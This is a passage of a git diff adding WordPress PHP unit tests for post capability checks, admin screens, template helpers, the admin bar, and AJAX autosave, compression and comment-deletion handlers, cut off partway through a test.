0000000000..e359830ca1 --- /dev/null +++ b/tests/tests/admin/includesPost.php @@ -0,0 +1,117 @@ +factory->user->create( array( 'role' => 'contributor' ) ); + $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) ); + + wp_set_current_user( $contributor_id ); + + // Create New Draft Post + $_post_data = array(); + $_post_data['post_author'] = $contributor_id; + $_post_data['post_type'] = 'post'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'draft', $_results['post_status'] ); + + // Submit Post for Approval + $_post_data = array(); + $_post_data['post_author'] = $contributor_id; + $_post_data['post_type'] = 'post'; + $_post_data['publish'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'pending', $_results['post_status'] ); + + // Create New Draft Post for another user + $_post_data = array(); + $_post_data['post_author'] = $editor_id; + $_post_data['post_type'] = 'post'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( 'edit_others_posts', $_results->get_error_code() ); + $this->assertEquals( 'You are not allowed to create posts as this user.', $_results->get_error_message() ); + + // Edit Draft Post for another user + $_post_data = array(); + $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $editor_id ) ); + $_post_data['post_author'] = $editor_id; + $_post_data['post_type'] = 'post'; + $_post_data['post_status'] = 'draft'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( true, $_post_data ); + $this->assertInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( 'edit_others_posts', $_results->get_error_code() ); + $this->assertEquals( 'You are not allowed to edit posts as this user.', $_results->get_error_message() ); + + wp_set_current_user( 0 ); + } + + function test__wp_translate_postdata_cap_checks_editor() { + $contributor_id = $this->factory->user->create( array( 'role' => 'contributor' ) ); + $editor_id = $this->factory->user->create( array( 'role' => 'editor' ) ); + + wp_set_current_user( $editor_id ); + + // Create New Draft Post + $_post_data = array(); + $_post_data['post_author'] = $editor_id; + $_post_data['post_type'] = 'post'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'draft', $_results['post_status'] ); + + // Publish Post + $_post_data = array(); + $_post_data['post_author'] = $editor_id; + $_post_data['post_type'] = 'post'; + $_post_data['publish'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'publish', $_results['post_status'] ); + + // Create New Draft Post for another user + $_post_data = array(); + $_post_data['post_author'] = $contributor_id; + $_post_data['post_type'] = 'post'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( false, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'draft', $_results['post_status'] ); + + // Edit Draft Post for another user + $_post_data = array(); + $_post_data['post_ID'] = $this->factory->post->create( array( 'post_author' => $contributor_id ) ); + $_post_data['post_author'] = $contributor_id; + $_post_data['post_type'] = 'post'; + $_post_data['post_status'] = 'draft'; + $_post_data['saveasdraft'] = true; + + $_results = _wp_translate_postdata( true, $_post_data ); + $this->assertNotInstanceOf( 'WP_Error', $_results ); + $this->assertEquals( $_post_data['post_author'], $_results['post_author'] ); + $this->assertEquals( 'draft', $_results['post_status'] ); + + wp_set_current_user( 0 ); + } +} \ No newline at end of file diff --git a/tests/tests/admin/includesScreen.php b/tests/tests/admin/includesScreen.php new file mode 100644 index 0000000000..7952e3f0e2 --- /dev/null +++ b/tests/tests/admin/includesScreen.php @@ -0,0 +1,207 @@ + array( 'base' => 'dashboard', 'id' => 'dashboard' ), + 'edit.php' => array( 'base' => 'edit', 'id' => 'edit-post', 'post_type' => 'post' ), + 'post-new.php'=> array( 'action' => 'add', 'base' => 'post', 'id' => 'post', 'post_type' => 'post' ), + 'edit-tags.php' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ), + 'edit-tags.php?taxonomy=post_tag' => array( 'base' => 'edit-tags', 'id' => 'edit-post_tag', 'post_type' => 'post', 'taxonomy' => 'post_tag' ), + 'edit-tags.php?taxonomy=category' => array( 'base' => 'edit-tags', 'id' => 'edit-category', 'post_type' => 'post', 'taxonomy' => 'category' ), + 'upload.php' => array( 'base' => 'upload', 'id' => 'upload' ), + 'media-new.php' => array( 'action' => 'add', 'base' => 'media', 'id' => 'media' ), + 'edit.php?post_type=page' => array( 'base' => 'edit', 'id' => 'edit-page', 'post_type' => 'page' ), + 'link-manager.php' => array( 'base' => 'link-manager', 'id' => 'link-manager' ), + 'link-add.php' => array( 'action' => 'add', 'base' => 'link', 'id' => 'link' ), + 'edit-tags.php?taxonomy=link_category' => array( 'base' => 'edit-tags', 'id' => 'edit-link_category', 'taxonomy' => 'link_category', 'post_type' => '' ), + 'edit-comments.php' => array( 'base' => 'edit-comments', 'id' => 'edit-comments' ), + 'themes.php' => array( 'base' => 'themes', 'id' => 'themes' ), + 'widgets.php' => array( 'base' => 'widgets', 'id' => 'widgets' ), + 'nav-menus.php' => array( 'base' => 'nav-menus', 'id' => 'nav-menus' ), + 'plugins.php' => array( 'base' => 'plugins', 'id' => 'plugins' ), + 'users.php' => array( 'base' => 'users', 'id' => 'users' ), + 'user-new.php' => array( 'action' => 'add', 'base' => 'user', 'id' => 'user' ), + 'profile.php' => array( 'base' => 'profile', 'id' => 'profile' ), + 'tools.php' => array( 'base' => 'tools', 'id' => 'tools' ), + 'import.php' => array( 'base' => 'import', 'id' => 'import' ), + 'export.php' => array( 'base' => 'export', 'id' => 'export' ), + 'options-general.php' => array( 'base' => 'options-general', 'id' => 'options-general' ), + 'options-writing.php' => array( 'base' => 'options-writing', 'id' => 'options-writing' ), + ); + + function setUp() { + set_current_screen( 'front' ); + } + + function tearDown() { + parent::tearDown(); + unset( $GLOBALS['wp_taxonomies']['old-or-new'] ); + set_current_screen( 'front' ); + } + + function test_set_current_screen_with_hook_suffix() { + global $current_screen; + + foreach ( $this->core_screens as $hook_name => $screen ) { + $_GET = $_POST = $_REQUEST = array(); + $GLOBALS['taxnow'] = $GLOBALS['typenow'] = ''; + $screen = (object) $screen; + $hook = parse_url( $hook_name ); + + if ( ! empty( $hook['query'] ) ) { + $args = wp_parse_args( $hook['query'] ); + if ( isset( $args['taxonomy'] ) ) + $GLOBALS['taxnow'] = $_GET['taxonomy'] = $_POST['taxonomy'] = $_REQUEST['taxonomy'] = $args['taxonomy']; + if ( isset( $args['post_type'] ) ) + $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $args['post_type']; + else if ( isset( $screen->post_type ) ) + $GLOBALS['typenow'] = $_GET['post_type'] = $_POST['post_type'] = $_REQUEST['post_type'] = $screen->post_type; + } + + $GLOBALS['hook_suffix'] = $hook['path']; + set_current_screen(); + + $this->assertEquals( $screen->id, $current_screen->id, $hook_name ); + $this->assertEquals( $screen->base, $current_screen->base, $hook_name ); + if ( isset( $screen->action ) ) + $this->assertEquals( $screen->action, $current_screen->action, $hook_name ); + if ( isset( $screen->post_type ) ) + $this->assertEquals( $screen->post_type, $current_screen->post_type, $hook_name ); + else + $this->assertEmpty( $current_screen->post_type, $hook_name ); + if ( isset( $screen->taxonomy ) ) + $this->assertEquals( $screen->taxonomy, $current_screen->taxonomy, $hook_name ); + + $this->assertTrue( $current_screen->in_admin() ); + $this->assertTrue( $current_screen->in_admin( 'site' ) ); + $this->assertFalse( $current_screen->in_admin( 'network' ) ); + $this->assertFalse( $current_screen->in_admin( 'user' ) ); + $this->assertFalse( $current_screen->in_admin( 'garbage' ) ); + + // With convert_to_screen(), the same ID should return the exact $current_screen. + $this->assertSame( $current_screen, convert_to_screen( $screen->id ), $hook_name ); + + // With convert_to_screen(), the hook_suffix should return the exact $current_screen. + // But, convert_to_screen() cannot figure out ?taxonomy and ?post_type. + if ( empty( $hook['query'] ) ) + $this->assertSame( $current_screen, convert_to_screen( $GLOBALS['hook_suffix'] ), $hook_name ); + } + } + + function test_post_type_as_hookname() { + $screen = convert_to_screen( 'page' ); + $this->assertEquals( $screen->post_type, 'page' ); + $this->assertEquals( $screen->base, 'post' ); + $this->assertEquals( $screen->id, 'page' ); + } + + function test_post_type_with_special_suffix_as_hookname() { + register_post_type( 'value-add' ); + $screen = convert_to_screen( 'value-add' ); // the -add part is key. + $this->assertEquals( $screen->post_type, 'value-add' ); + $this->assertEquals( $screen->base, 'post' ); + $this->assertEquals( $screen->id, 'value-add' ); + + $screen = convert_to_screen( 'edit-value-add' ); // the -add part is key. + $this->assertEquals( $screen->post_type, 'value-add' ); + $this->assertEquals( $screen->base, 'edit' ); + $this->assertEquals( $screen->id, 'edit-value-add' ); + } + + function test_taxonomy_with_special_suffix_as_hookname() { + register_taxonomy( 'old-or-new', 'post' ); + $screen = convert_to_screen( 'edit-old-or-new' ); // the -new part is key. + $this->assertEquals( $screen->taxonomy, 'old-or-new' ); + $this->assertEquals( $screen->base, 'edit-tags' ); + $this->assertEquals( $screen->id, 'edit-old-or-new' ); + } + + function test_post_type_with_edit_prefix() { + register_post_type( 'edit-some-thing' ); + $screen = convert_to_screen( 'edit-some-thing' ); + $this->assertEquals( $screen->post_type, 'edit-some-thing' ); + $this->assertEquals( $screen->base, 'post' ); + $this->assertEquals( $screen->id, 'edit-some-thing' ); + + $screen = convert_to_screen( 'edit-edit-some-thing' ); + $this->assertEquals( $screen->post_type, 'edit-some-thing' ); + $this->assertEquals( $screen->base, 'edit' ); + $this->assertEquals( $screen->id, 'edit-edit-some-thing' ); + } + + function test_post_type_edit_collisions() { + register_post_type( 'comments' ); + register_post_type( 'tags' ); + + // Sorry, core wins here. + $screen = convert_to_screen( 'edit-comments' ); + $this->assertEquals( $screen->base, 'edit-comments' ); + + // The post type wins here. convert_to_screen( $post_type ) is only relevant for meta boxes anyway. + $screen = convert_to_screen( 'comments' ); + $this->assertEquals( $screen->base, 'post' ); + + // Core wins. + $screen = convert_to_screen( 'edit-tags' ); + $this->assertEquals( $screen->base, 'edit-tags' ); + + $screen = convert_to_screen( 'tags' ); + $this->assertEquals( $screen->base, 'post' ); + } + + function test_help_tabs() { + $tab = rand_str(); + $tab_args = array( + 'id' => $tab, + 'title' => 'Help!', + 'content' => 'Some content', + 'callback' => false, + ); + + $screen = get_current_screen(); + $screen->add_help_tab( $tab_args ); + $this->assertEquals( $screen->get_help_tab( $tab ), $tab_args ); + + $tabs = $screen->get_help_tabs(); + $this->assertArrayHasKey( $tab, $tabs ); + + $screen->remove_help_tab( $tab ); + $this->assertNull( $screen->get_help_tab( $tab ) ); + + $screen->remove_help_tabs(); + $this->assertEquals( $screen->get_help_tabs(), array() ); + } + + function test_in_admin() { + $screen = get_current_screen(); + + set_current_screen( 'edit.php' ); + $this->assertTrue( get_current_screen()->in_admin() ); + $this->assertTrue( get_current_screen()->in_admin( 'site' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'network' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'user' ) ); + + set_current_screen( 'dashboard-network' ); + $this->assertTrue( get_current_screen()->in_admin() ); + $this->assertFalse( get_current_screen()->in_admin( 'site' ) ); + $this->assertTrue( get_current_screen()->in_admin( 'network' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'user' ) ); + + set_current_screen( 'dashboard-user' ); + $this->assertTrue( get_current_screen()->in_admin() ); + $this->assertFalse( get_current_screen()->in_admin( 'site' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'network' ) ); + $this->assertTrue( get_current_screen()->in_admin( 'user' ) ); + + set_current_screen( 'front' ); + $this->assertFalse( get_current_screen()->in_admin() ); + $this->assertFalse( get_current_screen()->in_admin( 'site' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'network' ) ); + $this->assertFalse( get_current_screen()->in_admin( 'user' ) ); + + $GLOBALS['current_screen'] = $screen; + } +} diff --git a/tests/tests/admin/includesTemplate.php b/tests/tests/admin/includesTemplate.php new file mode 100644 index 0000000000..b3bd6dccb6 --- /dev/null +++ b/tests/tests/admin/includesTemplate.php @@ -0,0 +1,48 @@ +assertEquals(' selected=\'selected\'', selected('foo','foo',false)); + $this->assertEquals(' checked=\'checked\'', checked('foo','foo',false)); + + $this->assertEquals(' selected=\'selected\'', selected('1',1,false)); + $this->assertEquals(' checked=\'checked\'', checked('1',1,false)); + + $this->assertEquals(' selected=\'selected\'', selected('1',true,false)); + $this->assertEquals(' checked=\'checked\'', checked('1',true,false)); + + $this->assertEquals(' selected=\'selected\'', selected(1,1,false)); + $this->assertEquals(' checked=\'checked\'', checked(1,1,false)); + + $this->assertEquals(' selected=\'selected\'', selected(1,true,false)); + $this->assertEquals(' checked=\'checked\'', checked(1,true,false)); + + $this->assertEquals(' selected=\'selected\'', selected(true,true,false)); + $this->assertEquals(' checked=\'checked\'', checked(true,true,false)); + + $this->assertEquals(' selected=\'selected\'', selected('0',0,false)); + $this->assertEquals(' checked=\'checked\'', checked('0',0,false)); + + $this->assertEquals(' selected=\'selected\'', selected(0,0,false)); + $this->assertEquals(' checked=\'checked\'', checked(0,0,false)); + + $this->assertEquals(' selected=\'selected\'', selected('',false,false)); + $this->assertEquals(' checked=\'checked\'', checked('',false,false)); + + $this->assertEquals(' selected=\'selected\'', selected(false,false,false)); + $this->assertEquals(' checked=\'checked\'', checked(false,false,false)); + } + + function test_notequal() { + $this->assertEquals('', selected('0','',false)); + $this->assertEquals('', checked('0','',false)); + + $this->assertEquals('', selected(0,'',false)); + $this->assertEquals('', checked(0,'',false)); + + $this->assertEquals('', selected(0,false,false)); + $this->assertEquals('', checked(0,false,false)); + } +} diff --git a/tests/tests/admin/includesTheme.php b/tests/tests/admin/includesTheme.php new file mode 100644 index 0000000000..9906f48e17 --- /dev/null +++ b/tests/tests/admin/includesTheme.php @@ -0,0 +1,54 @@ +theme_root = DIR_TESTDATA . '/themedir1'; + + $this->orig_theme_dir = $GLOBALS['wp_theme_directories']; + $GLOBALS['wp_theme_directories'] = array( WP_CONTENT_DIR . '/themes', $this->theme_root ); + + add_filter('theme_root', array(&$this, '_theme_root')); + add_filter( 'stylesheet_root', array(&$this, '_theme_root') ); + add_filter( 'template_root', array(&$this, '_theme_root') ); + + // clear caches + wp_clean_themes_cache(); + unset( $GLOBALS['wp_themes'] ); + } + + function tearDown() { + $GLOBALS['wp_theme_directories'] = $this->orig_theme_dir; + remove_filter('theme_root', array(&$this, '_theme_root')); + remove_filter( 'stylesheet_root', array(&$this, '_theme_root') ); + remove_filter( 'template_root', array(&$this, '_theme_root') ); + + wp_clean_themes_cache(); + unset( $GLOBALS['wp_themes'] ); + parent::tearDown(); + } + + // replace the normal theme root dir with our premade test dir + function _theme_root($dir) { + return $this->theme_root; + } + + /** + * @ticket 10959 + * @ticket 11216 + */ + function test_page_templates() { + $theme = get_theme('Page Template Theme'); + $this->assertFalse( empty($theme) ); + + switch_theme($theme['Template'], $theme['Stylesheet']); + + $templates = get_page_templates(); + $this->assertEquals(3, count($templates)); + $this->assertEquals("template-top-level.php", $templates['Top Level']); + $this->assertEquals("subdir/template-sub-dir.php", $templates['Sub Dir']); + $this->assertEquals("template-header.php", $templates['This Template Header Is On One Line']); + } +} diff --git a/tests/tests/adminbar.php b/tests/tests/adminbar.php new file mode 100644 index 0000000000..533f7caad1 --- /dev/null +++ b/tests/tests/adminbar.php @@ -0,0 +1,64 @@ +current_user = get_current_user_id(); + wp_set_current_user( $this->factory->user->create( array( 'role' => 'editor' ) ) ); + } + + function tearDown() { + wp_set_current_user( $this->current_user ); + parent::tearDown(); + } + + /** + * @ticket 21117 + */ + function test_content_post_type() { + register_post_type( 'content', array( 'show_in_admin_bar' => true ) ); + + $admin_bar = new WP_Admin_Bar; + + wp_admin_bar_new_content_menu( $admin_bar ); + + $nodes = $admin_bar->get_nodes(); + $this->assertFalse( $nodes['new-content']->parent ); + $this->assertEquals( 'new-content', $nodes['add-new-content']->parent ); + + _unregister_post_type( 'content' ); + } + + /** + * @ticket 21117 + */ + function test_merging_existing_meta_values() { + $admin_bar = new WP_Admin_Bar; + + $admin_bar->add_node( array( + 'id' => 'test-node', + 'meta' => array( 'class' => 'test-class' ), + ) ); + $node = $admin_bar->get_node( 'test-node' ); + $this->assertEquals( array( 'class' => 'test-class' ), $node->meta ); + + $admin_bar->add_node( array( + 'id' => 'test-node', + 'meta' => array( 'some-meta' => 'value' ), + ) ); + + $node = $admin_bar->get_node( 'test-node' ); + $this->assertEquals( array( 'class' => 'test-class', 'some-meta' => 'value' ), $node->meta ); + } +} \ No newline at end of file diff --git a/tests/tests/ajax/Autosave.php b/tests/tests/ajax/Autosave.php new file mode 100644 index 0000000000..4b9c00c390 --- /dev/null +++ b/tests/tests/ajax/Autosave.php @@ -0,0 +1,114 @@ +factory->post->create( array( 'post_status' => 'draft' ) ); + $this->_post = get_post( $post_id ); + } + + /** + * Test autosaving a post + * @return void + */ + public function test_autosave_post() { + + // Become an admin + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $md5 = md5( uniqid() ); + $_POST = array( + 'post_id' => $this->_post->ID, + 'autosavenonce' => wp_create_nonce( 'autosave' ), + 'post_content' => $this->_post->post_content . PHP_EOL . $md5, + 'post_type' => 'post', + 'autosave' => 1, + ); + + // Make the request + try { + $this->_handleAjax( 'autosave' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Ensure everything is correct + $this->assertEquals( $this->_post->ID, (int) $xml->response[0]->autosave['id'] ); + $this->assertEquals( 'autosave_' . $this->_post->ID, (string) $xml->response['action']); + + // Check that the edit happened + $post = get_post( $this->_post->ID) ; + $this->assertGreaterThanOrEqual( 0, strpos( $post->post_content, $md5 ) ); + } + + /** + * Test with an invalid nonce + * @return void + */ + public function test_with_invalid_nonce( ) { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST = array( + 'post_id' => $this->_post->ID, + 'autosavenonce' => md5( uniqid() ), + 'autosave' => 1 + ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'autosave' ); + } + + /** + * Test with a bad post id + * @return void + */ + public function test_with_invalid_post_id( ) { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST = array( + 'post_id' => 0, + 'autosavenonce' => wp_create_nonce( 'autosave' ), + 'autosave' => 1, + 'post_type' => 'post' + ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', 'You are not allowed to edit this post.' ); + $this->_handleAjax( 'autosave' ); + } +} diff --git a/tests/tests/ajax/Compression.php b/tests/tests/ajax/Compression.php new file mode 100644 index 0000000000..cd76532023 --- /dev/null +++ b/tests/tests/ajax/Compression.php @@ -0,0 +1,199 @@ +logout(); + + // Set up a default request + $_GET['test'] = 1; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '0' ); + $this->_handleAjax( 'wp-compression-test' ); + } + + /** + * Fetch the test text + */ + public function test_text() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 1; + + // Make the request + try { + $this->_handleAjax( 'wp-compression-test' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Ensure we found the right match + $this->assertContains( 'wpCompressionTest', $this->_last_response ); + } + + /** + * Fetch the test text (gzdeflate) + */ + public function test_gzdeflate() { + + if ( !function_exists( 'gzdeflate' ) ) { + $this->markTestSkipped( 'gzdeflate function not available' ); + } + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 2; + $_SERVER['HTTP_ACCEPT_ENCODING'] = 'deflate'; + + // Make the request + try { + $this->_handleAjax( 'wp-compression-test' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Ensure we found the right match + $this->assertContains( 'wpCompressionTest', gzinflate( $this->_last_response ) ); + } + + /** + * Fetch the test text (gzencode) + */ + public function test_gzencode() { + + if ( !function_exists('gzencode') ) { + $this->markTestSkipped( 'gzencode function not available' ); + } + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 2; + $_SERVER['HTTP_ACCEPT_ENCODING'] = 'gzip'; + + // Make the request + try { + $this->_handleAjax( 'wp-compression-test' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Ensure we found the right match + $this->assertContains( 'wpCompressionTest', $this->_gzdecode( $this->_last_response ) ); + } + + /** + * Fetch the test text (unknown encoding) + */ + public function test_unknown_encoding() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 2; + $_SERVER['HTTP_ACCEPT_ENCODING'] = 'unknown'; + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'wp-compression-test' ); + } + + /** + * Set the 'can_compress_scripts' site option to true + */ + public function test_set_yes() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 'yes'; + + // Set the option to false + update_site_option( 'can_compress_scripts', 0 ); + + // Make the request + try { + $this->_handleAjax( 'wp-compression-test' ); + } catch ( WPAjaxDieStopException $e ) { + unset( $e ); + } + + // Check the site option + $this->assertEquals( 1, get_site_option( 'can_compress_scripts' ) ); + } + + /** + * Set the 'can_compress_scripts' site option to false + */ + public function test_set_no() { + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_GET['test'] = 'no'; + + // Set the option to true + update_site_option( 'can_compress_scripts', 1 ); + + // Make the request + try { + $this->_handleAjax( 'wp-compression-test' ); + } catch ( WPAjaxDieStopException $e ) { + unset( $e ); + } + + // Check the site option + $this->assertEquals( 0, get_site_option( 'can_compress_scripts' ) ); + } + + /** + * Undo gzencode. This is ugly, but there's no stock gzdecode() function. + * @param string $encoded_data + * @return string + */ + protected function _gzdecode( $encoded_data ) { + + // Save the encoded data to a temp file + $file = wp_tempnam( 'gzdecode' ); + file_put_contents( $file, $encoded_data ); + + // Flush it to the output buffer and delete the temp file + ob_start(); + readgzfile( $file ); + unlink( $file ); + + // Save the data stop buffering + $data = ob_get_clean(); + ob_end_clean(); + + // Done + return $data; + } +} diff --git a/tests/tests/ajax/DeleteComment.php b/tests/tests/ajax/DeleteComment.php new file mode 100644 index 0000000000..97a2c02660 --- /dev/null +++ b/tests/tests/ajax/DeleteComment.php @@ -0,0 +1,355 @@ +factory->post->create(); + $this->_comments = $this->factory->comment->create_post_comments( $post_id, 15 ); + $this->_comments = array_map( 'get_comment', $this->_comments ); + } + + /** + * Clear the POST actions in between requests + */ + protected function _clear_post_action() { + unset($_POST['trash']); + unset($_POST['untrash']); + unset($_POST['spam']); + unset($_POST['unspam']); + unset($_POST['delete']); + $this->_last_response = ''; + } + + /***********************************************************/ + /** Test prototype + /***********************************************************/ + + /** + * Test as a privilged user (administrator) + * Expects test to pass + * @param mixed $comment Comment object + * @param string action trash, untrash, etc. + * @return void + */ + public function _test_as_admin( $comment, $action ) { + + // Reset request + $this->_clear_post_action(); + + // Become an administrator + $this->_setRole( 'administrator' ); + + // Set up a default request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID ); + $_POST[$action] = 1; + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + try { + $this->_handleAjax( 'delete-comment' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + + // Get the response + $xml = simplexml_load_string( $this->_last_response, 'SimpleXMLElement', LIBXML_NOCDATA ); + + // Ensure everything is correct + $this->assertEquals( $comment->comment_ID, (string) $xml->response[0]->comment['id'] ); + $this->assertEquals( 'delete-comment_' . $comment->comment_ID, (string) $xml->response['action'] ); + $this->assertGreaterThanOrEqual( time() - 10, (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] ); + $this->assertLessThanOrEqual( time(), (int) $xml->response[0]->comment[0]->supplemental[0]->time[0] ); + + // trash, spam, delete should make the total go down + if ( in_array( $action, array( 'trash', 'spam', 'delete' ) ) ) { + $total = $_POST['_total'] - 1; + + // unspam, untrash should make the total go up + } elseif ( in_array( $action, array( 'untrash', 'unspam' ) ) ) { + $total = $_POST['_total'] + 1; + } + + // The total is calculated based on a page break -OR- a random number. Let's look for both possible outcomes + $comment_count = wp_count_comments( 0 ); + $recalc_total = $comment_count->total_comments; + + // Check for either possible total + $this->assertTrue( in_array( (int) $xml->response[0]->comment[0]->supplemental[0]->total[0] , array( $total, $recalc_total ) ) ); + } + + /** + * Test as a non-privileged user (subscriber) + * Expects test to fail + * @param mixed $comment Comment object + * @param string action trash, untrash, etc. + * @return void + */ + public function _test_as_subscriber( $comment, $action ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'subscriber' ); + + // Set up the $_POST request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID ); + $_POST[$action] = 1; + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'delete-comment' ); + } + + + /** + * Test with a bad nonce + * Expects test to fail + * @param mixed $comment Comment object + * @param string action trash, untrash, etc. + * @return void + */ + public function _test_with_bad_nonce( $comment, $action ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( uniqid() ); + $_POST[$action] = 1; + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + $this->setExpectedException( 'WPAjaxDieStopException', '-1' ); + $this->_handleAjax( 'delete-comment' ); + } + + /** + * Test with a bad id + * Expects test to fail + * @param mixed $comment Comment object + * @param string action trash, untrash, etc. + * @return void + */ + public function _test_with_bad_id( $comment, $action ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST['id'] = 12346789; + $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_12346789' ); + $_POST[$action] = 1; + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request, look for a timestamp in the exception + try { + $this->_handleAjax( 'delete-comment' ); + $this->fail( 'Expected exception: WPAjaxDieStopException' ); + } catch ( WPAjaxDieStopException $e ) { + $this->assertEquals( 10, strlen( $e->getMessage() ) ); + $this->assertTrue( is_numeric( $e->getMessage() ) ); + } catch ( Exception $e ) { + $this->fail( 'Unexpected exception type: ' . get_class( $e ) ); + } + } + + /** + * Test doubling the action (e.g. trash a trashed comment) + * Expects test to fail + * @param mixed $comment Comment object + * @param string action trash, untrash, etc. + * @return void + */ + public function _test_double_action( $comment, $action ) { + + // Reset request + $this->_clear_post_action(); + + // Become a subscriber + $this->_setRole( 'administrator' ); + + // Set up the $_POST request + $_POST['id'] = $comment->comment_ID; + $_POST['_ajax_nonce'] = wp_create_nonce( 'delete-comment_' . $comment->comment_ID ); + $_POST[$action] = 1; + $_POST['_total'] = count( $this->_comments ); + $_POST['_per_page'] = 100; + $_POST['_page'] = 1; + $_POST['_url'] = admin_url( 'edit-comments.php' ); + + // Make the request + try { + $this->_handleAjax( 'delete-comment' ); + } catch ( WPAjaxDieContinueException $e ) { + unset( $e ); + } + $this->_last_response = ''; + + // Force delete the comment + if ( 'delete' == $action ) { + wp_delete_comment( $comment->comment_ID, true ); + } + + // Make the request again, look for a timestamp in the exception + try { + $this->_handleAjax( 'delete-comment' ); + $this->fail( 'Expected exception: WPAjaxDieStopException' ); + } catch ( WPAjaxDieStopException $e ) { + $this->assertEquals( 10, strlen( $e->getMessage() ) ); + $this->assertTrue( is_numeric( $e->getMessage() ) ); + } catch ( Exception $e ) { + $this->fail( 'Unexpected exception type: ' . get_class( $e ) ); + } + } + + /** + * Delete a comment as an administrator (expects success) + * @return void + */ + public function test_ajax_comment_trash_actions_as_administrator() { + + // Test trash/untrash + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'trash' ); + $this->_test_as_admin( $comment, 'untrash' ); + + // Test spam/unspam + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'spam' ); + $this->_test_as_admin( $comment, 'unspam' ); + + // Test delete + $comment = array_pop( $this->_comments ); + $this->_test_as_admin( $comment, 'delete' ); + } + + /** + * Delete a comment as a subscriber (expects permission denied) + * @return void + */ + public function test_ajax_comment_trash_actions_as_subscriber() { + + // Test trash/untrash + $comment = array_pop( $this->_comments ); + $this->_test_as_subscriber( $comment, 'trash' ); + $this->_test_as_subscriber( $comment, 'untrash' ); + + // Test spam/unspam + $comment = array_pop( $this->_comments ); + $this->_test_as_subscriber( $comment, 